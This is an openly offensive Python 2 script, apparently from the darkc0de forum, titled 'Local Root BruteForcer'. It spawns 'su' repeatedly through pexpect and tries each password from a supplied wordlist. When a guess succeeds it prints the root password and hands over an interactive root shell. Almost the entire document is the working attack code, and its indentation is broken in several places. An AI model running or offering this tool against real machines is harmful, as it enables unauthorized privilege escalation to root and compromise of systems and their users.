Local Root BruteForcer

#!/usr/bin/python
#Local Root BruteForcer
#More Info: http://forum.darkc0de.com/index.php?action=
vthread&forum=8&topic=1571
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import sys
try:
import pexpect
except(ImportError):
print "\nYou need the pexpect module."
print "http://www.noah.org/wiki/Pexpect\n"
sys.exit(1)

#Change this if needed.
LOGIN_ERROR = 'su: incorrect password'

def brute(word):
print "Trying:",word
child = pexpect.spawn ('su')
child.expect ('Password: ')
child.sendline (word)
i = child.expect (['.+\s#\s',LOGIN_ERROR])
if i  == 0:
 print "\n\t[!] Root Password:",word
 child.sendline ('whoami')
 print child.before
 child.interact()
#if i == 1:
 #print "Incorrect Password"

if len(sys.argv) != 2:
print "\nUsage : ./rootbrute.py "
print "Eg: ./rootbrute.py words.txt\n"
sys.exit(1)

try:
words = open(sys.argv[1], "r").readlines()
except(IOError):
 print "\nError: Check your wordlist path\n"
 sys.exit(1)

print "\n[+] Loaded:",len(words),"words"
print "[+] BruteForcing...\n"
for word in words:
brute(word.replace("\n",""))